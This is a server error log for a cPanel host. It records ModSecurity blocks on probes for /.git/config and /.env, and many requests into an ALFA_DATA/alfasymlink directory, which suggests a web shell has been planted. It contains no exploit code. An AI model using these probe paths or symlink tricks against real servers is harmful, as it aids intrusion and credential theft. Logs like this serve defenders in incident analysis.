[Mon Oct 26 09:04:23.198372 2026] [security2:error] [pid 3034812:tid 3034812] [client 23.22.59.87:65234] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:1c/subsystem/devices/PNP0A03:00/PNP0A06:01/"] [unique_id "at9P199H6KHQp8xa7jINCgAAABQ"]
[Mon Oct 26 09:04:28.418404 2026] [core:error] [pid 3027735:tid 3027735] (13)Permission denied: [client 185.191.171.1:39646] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-192/align
[Mon Oct 26 09:04:31.176777 2026] [ssl:error] [pid 3034812:tid 3034812] (70014)End of file found: [client 54.210.155.69:26106] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:04:34.781616 2026] [ssl:error] [pid 3035808:tid 3035808] (5)Input/output error: [client 54.243.63.52:12760] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:04:43.460753 2026] [ssl:error] [pid 3035808:tid 3035808] (70014)End of file found: [client 3.222.190.107:57052] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:04:54.798363 2026] [ssl:error] [pid 3034827:tid 3034827] (70014)End of file found: [client 54.225.181.161:14764] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:04:58.544832 2026] [ssl:error] [pid 3036181:tid 3036181] (70014)End of file found: [client 52.22.64.232:29706] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:05:02.522577 2026] [ssl:error] [pid 3034827:tid 3034827] (70014)End of file found: [client 34.225.24.180:13459] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:05:14.392312 2026] [ssl:error] [pid 3036181:tid 3036181] (70014)End of file found: [client 52.204.89.12:42922] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:05:22.315044 2026] [core:error] [pid 3034827:tid 3034827] (13)Permission denied: [client 98.83.177.42:26757] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/tty28/subsystem/ttyS1/uartclk
[Mon Oct 26 09:05:34.225952 2026] [security2:error] [pid 3036181:tid 3036181] [client 54.209.100.30:32432] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/driver/0000:00:03.0/subsystem/slots/23/"] [unique_id "at9QHkW6-b5XD8XwGa-1pgAAAAQ"]
[Mon Oct 26 09:05:34.226030 2026] [security2:error] [pid 3036181:tid 3036181] [client 54.209.100.30:32432] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/driver/0000:00:03.0/subsystem/slots/23/"] [unique_id "at9QHkW6-b5XD8XwGa-1pgAAAAQ"]
[Mon Oct 26 09:05:34.942447 2026] [core:error] [pid 3023393:tid 3023393] (13)Permission denied: [client 85.208.96.209:11246] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/biovec-128/validate
[Mon Oct 26 09:05:38.745933 2026] [ssl:error] [pid 3034827:tid 3034827] (70014)End of file found: [client 107.22.208.39:22312] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:05:46.280409 2026] [ssl:error] [pid 3036181:tid 3036181] (70014)End of file found: [client 3.235.215.92:40750] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:05:50.298312 2026] [core:error] [pid 3023393:tid 3023393] (13)Permission denied: [client 3.229.164.203:52977] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/PNP0F13:00/physical_node/driver/00:02/subsystem/drivers_probe
[Mon Oct 26 09:05:51.925431 2026] [security2:error] [pid 3034818:tid 3034818] [client 43.130.60.195:42428] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/node_modules/"] [unique_id "at9QL3YYJ1RlC0FZClQF-QAAABw"]
[Mon Oct 26 09:05:52.935363 2026] [core:error] [pid 3034827:tid 3034827] (13)Permission denied: [client 185.191.171.16:49400] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mm_struct/total_objects
[Mon Oct 26 09:05:57.480318 2026] [core:error] [pid 3027735:tid 3027735] (13)Permission denied: [client 85.208.96.207:36592] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_node/total_objects
[Mon Oct 26 09:06:06.251298 2026] [ssl:error] [pid 3026993:tid 3026993] (70014)End of file found: [client 44.194.139.149:14122] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:06:10.059975 2026] [security2:error] [pid 3034823:tid 3034823] [client 107.172.76.131:53978] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9QNvuLuAKB2cqzZytiyQAAACE"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 09:06:10.060046 2026] [security2:error] [pid 3034823:tid 3034823] [client 107.172.76.131:53978] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9QNvuLuAKB2cqzZytiyQAAACE"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 09:06:26.219435 2026] [ssl:error] [pid 3036181:tid 3036181] (70014)End of file found: [client 52.22.87.224:64201] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:06:34.238790 2026] [ssl:error] [pid 3034827:tid 3034827] (70014)End of file found: [client 18.209.201.119:26141] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:06:38.322700 2026] [ssl:error] [pid 3034818:tid 3034818] (70014)End of file found: [client 54.147.80.137:13222] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:06:50.161785 2026] [ssl:error] [pid 3034827:tid 3034827] (70014)End of file found: [client 3.215.221.125:38673] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:06:54.190307 2026] [ssl:error] [pid 3036134:tid 3036134] (70014)End of file found: [client 34.224.9.144:45832] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:06:58.171136 2026] [ssl:error] [pid 3034824:tid 3034824] (70014)End of file found: [client 52.3.104.214:40176] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:07:02.224078 2026] [ssl:error] [pid 3027735:tid 3027735] (70014)End of file found: [client 34.225.138.57:3490] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:07:02.680538 2026] [security2:error] [pid 3034836:tid 3034836] [client 172.86.119.188:38496] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at9QdrxRe1JDVouVZUptigAAAC4"], referer: http://direc1.sherwinpinturas.com/.git/config
[Mon Oct 26 09:07:02.680789 2026] [security2:error] [pid 3034836:tid 3034836] [client 172.86.119.188:38496] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at9QdrxRe1JDVouVZUptigAAAC4"], referer: http://direc1.sherwinpinturas.com/.git/config
[Mon Oct 26 09:07:02.681142 2026] [security2:error] [pid 3034836:tid 3034836] [client 172.86.119.188:38496] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at9QdrxRe1JDVouVZUptigAAAC4"], referer: http://direc1.sherwinpinturas.com/.git/config
[Mon Oct 26 09:07:14.207732 2026] [ssl:error] [pid 3034836:tid 3034836] (70014)End of file found: [client 44.194.139.149:49579] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:07:14.697975 2026] [authz_core:error] [pid 3023393:tid 3023393] [client 195.178.110.105:51036] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 09:07:14.845318 2026] [authz_core:error] [pid 3027735:tid 3027735] [client 195.178.110.105:51032] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 09:07:14.924732 2026] [authz_core:error] [pid 3027735:tid 3027735] [client 195.178.110.105:51032] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 09:07:15.077679 2026] [authz_core:error] [pid 3027735:tid 3027735] [client 195.178.110.105:51032] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 09:07:15.262710 2026] [authz_core:error] [pid 3027735:tid 3027735] [client 195.178.110.105:51032] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 09:07:18.177391 2026] [ssl:error] [pid 3034827:tid 3034827] (70014)End of file found: [client 44.196.118.6:25635] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:07:24.007737 2026] [core:error] [pid 3034824:tid 3034824] (13)Permission denied: [client 185.191.171.12:47318] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/file_lock_cache/cache_dma
[Mon Oct 26 09:07:25.292079 2026] [core:error] [pid 3034836:tid 3034836] (13)Permission denied: [client 185.191.171.1:52818] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/request_sock_subflow/cpu_slabs
[Mon Oct 26 09:07:26.158127 2026] [ssl:error] [pid 3023393:tid 3023393] (70014)End of file found: [client 184.73.195.18:41304] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:07:30.268080 2026] [ssl:error] [pid 3034827:tid 3034827] (70014)End of file found: [client 52.203.237.170:30856] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:07:34.172946 2026] [ssl:error] [pid 3034830:tid 3034830] (70014)End of file found: [client 34.234.197.175:39044] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:07:37.214510 2026] [core:crit] [pid 3027735:tid 3027735] (13)Permission denied: [client 185.12.59.118:53432] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 09:07:38.460599 2026] [ssl:error] [pid 3036134:tid 3036134] (70014)End of file found: [client 34.234.206.30:16301] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:07:39.607908 2026] [core:error] [pid 3034824:tid 3034824] (13)Permission denied: [client 85.208.96.197:37364] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/ctor
[Mon Oct 26 09:07:50.218074 2026] [ssl:error] [pid 3032272:tid 3032272] (70014)End of file found: [client 184.73.47.24:48479] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:07:54.080761 2026] [security2:error] [pid 3034833:tid 3034833] [client 107.172.76.131:53962] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9Qm28fURIvZEnkWNyOUwAAACs"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 09:07:54.080846 2026] [security2:error] [pid 3034833:tid 3034833] [client 107.172.76.131:53962] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9Qm28fURIvZEnkWNyOUwAAACs"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 09:07:58.227088 2026] [core:error] [pid 3036181:tid 3036181] (13)Permission denied: [client 3.210.114.189:49076] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/PNP0A03:00/device:03/physical_node/rom
[Mon Oct 26 09:08:14.183772 2026] [ssl:error] [pid 3034812:tid 3034812] (70014)End of file found: [client 18.214.238.178:40816] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:08:18.378522 2026] [ssl:error] [pid 3036181:tid 3036181] (70014)End of file found: [client 44.223.116.180:52592] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:08:22.181194 2026] [security2:error] [pid 3034830:tid 3034830] [client 44.205.192.249:60867] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/subsystem/devices/PNP0A03:00/device:17/power/"] [unique_id "at9QxjouFFTcxFhVqAz1AwAAACg"]
[Mon Oct 26 09:08:22.181240 2026] [security2:error] [pid 3034830:tid 3034830] [client 44.205.192.249:60867] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/subsystem/devices/PNP0A03:00/device:17/power/"] [unique_id "at9QxjouFFTcxFhVqAz1AwAAACg"]
[Mon Oct 26 09:08:26.587656 2026] [ssl:error] [pid 3034827:tid 3034827] (70014)End of file found: [client 185.191.171.6:61408] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:08:34.332263 2026] [core:error] [pid 3036181:tid 3036181] (13)Permission denied: [client 3.223.181.32:31306] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/cpu1/node0/cpu0/crash_notes_size
[Mon Oct 26 09:08:38.300803 2026] [ssl:error] [pid 3034830:tid 3034830] (70014)End of file found: [client 34.194.233.48:51047] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:08:44.403304 2026] [core:error] [pid 3036181:tid 3036181] (13)Permission denied: [client 85.208.96.200:58424] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-512/order
[Mon Oct 26 09:08:50.174472 2026] [ssl:error] [pid 3034824:tid 3034824] (70014)End of file found: [client 54.83.56.1:6622] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:09:10.353148 2026] [ssl:error] [pid 3027735:tid 3027735] (70014)End of file found: [client 54.84.161.62:61396] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:09:26.284418 2026] [ssl:error] [pid 3027735:tid 3027735] (70014)End of file found: [client 3.212.86.97:62448] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:09:30.269964 2026] [ssl:error] [pid 3036181:tid 3036181] (70014)End of file found: [client 98.83.8.142:13606] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:09:38.185628 2026] [ssl:error] [pid 3023393:tid 3023393] (70014)End of file found: [client 107.20.181.148:46214] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:09:58.313581 2026] [ssl:error] [pid 3023393:tid 3023393] (70014)End of file found: [client 98.84.70.201:36779] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:10:10.194798 2026] [core:error] [pid 3034812:tid 3034812] (13)Permission denied: [client 184.73.239.35:45263] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.3/rescan
[Mon Oct 26 09:10:21.099597 2026] [core:error] [pid 3026993:tid 3026993] (13)Permission denied: [client 185.191.171.11:50990] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-32/order
[Mon Oct 26 09:10:22.143494 2026] [ssl:error] [pid 3034827:tid 3034827] (70014)End of file found: [client 50.19.221.48:65021] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:10:42.264466 2026] [ssl:error] [pid 3034830:tid 3034830] (70014)End of file found: [client 44.209.89.189:37788] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:10:54.165218 2026] [core:error] [pid 3034818:tid 3034818] (13)Permission denied: [client 52.203.237.170:17971] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:11/subsystem/drivers/ac/uevent
[Mon Oct 26 09:10:58.163688 2026] [ssl:error] [pid 3036134:tid 3036134] (70014)End of file found: [client 3.212.86.97:12122] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:11:06.158574 2026] [ssl:error] [pid 3026993:tid 3026993] (70014)End of file found: [client 34.202.88.37:59382] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:11:10.304463 2026] [security2:error] [pid 3027735:tid 3027735] [client 52.205.113.104:23566] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/device:06/physical_node/virtio2/power/"] [unique_id "at9RbnT09R7Np-FQ85dkcwAAAAo"]
[Mon Oct 26 09:11:10.304501 2026] [security2:error] [pid 3027735:tid 3027735] [client 52.205.113.104:23566] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/device:06/physical_node/virtio2/power/"] [unique_id "at9RbnT09R7Np-FQ85dkcwAAAAo"]
[Mon Oct 26 09:11:14.168715 2026] [ssl:error] [pid 3036134:tid 3036134] (70014)End of file found: [client 54.225.148.123:27015] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:11:17.998727 2026] [security2:error] [pid 3034824:tid 3034824] [client 130.12.180.168:53714] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9RdXxh1haIHwR2sLHVTwAAACI"]
[Mon Oct 26 09:11:17.999050 2026] [security2:error] [pid 3034824:tid 3034824] [client 130.12.180.168:53714] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9RdXxh1haIHwR2sLHVTwAAACI"]
[Mon Oct 26 09:11:17.999399 2026] [security2:error] [pid 3034824:tid 3034824] [client 130.12.180.168:53714] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9RdXxh1haIHwR2sLHVTwAAACI"]
[Mon Oct 26 09:11:18.260033 2026] [ssl:error] [pid 3026993:tid 3026993] (70014)End of file found: [client 52.2.58.41:18495] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:11:18.485584 2026] [security2:error] [pid 3034827:tid 3034827] [client 130.12.180.176:43818] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9RdtdWtrCZuT8sbNQ4swAAACU"]
[Mon Oct 26 09:11:18.486026 2026] [security2:error] [pid 3034827:tid 3034827] [client 130.12.180.176:43818] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9RdtdWtrCZuT8sbNQ4swAAACU"]
[Mon Oct 26 09:11:18.486423 2026] [security2:error] [pid 3034827:tid 3034827] [client 130.12.180.176:43818] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9RdtdWtrCZuT8sbNQ4swAAACU"]
[Mon Oct 26 09:11:30.180489 2026] [ssl:error] [pid 3034824:tid 3034824] (70014)End of file found: [client 54.84.93.8:34980] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:11:35.497989 2026] [security2:error] [pid 3034833:tid 3034833] [client 107.172.76.131:53962] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9Rem8fURIvZEnkWNyOYgAAACs"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 09:11:35.498053 2026] [security2:error] [pid 3034833:tid 3034833] [client 107.172.76.131:53962] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9Rem8fURIvZEnkWNyOYgAAACs"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 09:11:46.161166 2026] [ssl:error] [pid 3036134:tid 3036134] (70014)End of file found: [client 3.94.157.25:23034] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:11:50.258525 2026] [core:error] [pid 3034824:tid 3034824] (13)Permission denied: [client 54.221.203.24:62535] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:14/subsystem/devices/device:06/physical_node/driver/remove_id
[Mon Oct 26 09:12:00.530908 2026] [core:error] [pid 3036134:tid 3036134] (13)Permission denied: [client 85.208.96.212:30690] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDPv6/order
[Mon Oct 26 09:12:02.147606 2026] [ssl:error] [pid 3034824:tid 3034824] (70014)End of file found: [client 44.223.193.255:23840] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:12:10.163593 2026] [ssl:error] [pid 3035808:tid 3035808] (70014)End of file found: [client 44.223.232.55:63575] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:12:14.311439 2026] [ssl:error] [pid 3036134:tid 3036134] (5)Input/output error: [client 52.200.93.170:34484] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:12:26.151776 2026] [core:error] [pid 3036134:tid 3036134] (13)Permission denied: [client 23.23.180.225:64165] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/LNXCPU:01/physical_node/node0/cpu0/crash_notes
[Mon Oct 26 09:12:30.294645 2026] [ssl:error] [pid 3034824:tid 3034824] (70014)End of file found: [client 18.206.47.187:16956] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:12:32.408789 2026] [core:error] [pid 3026993:tid 3026993] (13)Permission denied: [client 85.208.96.204:11538] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/eventpoll_pwq/slabs_cpu_partial
[Mon Oct 26 09:12:34.142444 2026] [ssl:error] [pid 3036181:tid 3036181] (70014)End of file found: [client 54.163.136.244:58625] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:12:38.189404 2026] [ssl:error] [pid 3034830:tid 3034830] (70014)End of file found: [client 3.209.174.110:40225] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:12:42.160562 2026] [ssl:error] [pid 3023393:tid 3023393] (70014)End of file found: [client 52.0.218.219:13700] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:12:44.656908 2026] [core:error] [pid 3026993:tid 3026993] (13)Permission denied: [client 85.208.96.206:10352] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_1k/alloc_calls
[Mon Oct 26 09:12:46.275866 2026] [ssl:error] [pid 3036181:tid 3036181] (70014)End of file found: [client 98.83.178.66:10064] AH02013: coalesce failed to read from data bucket
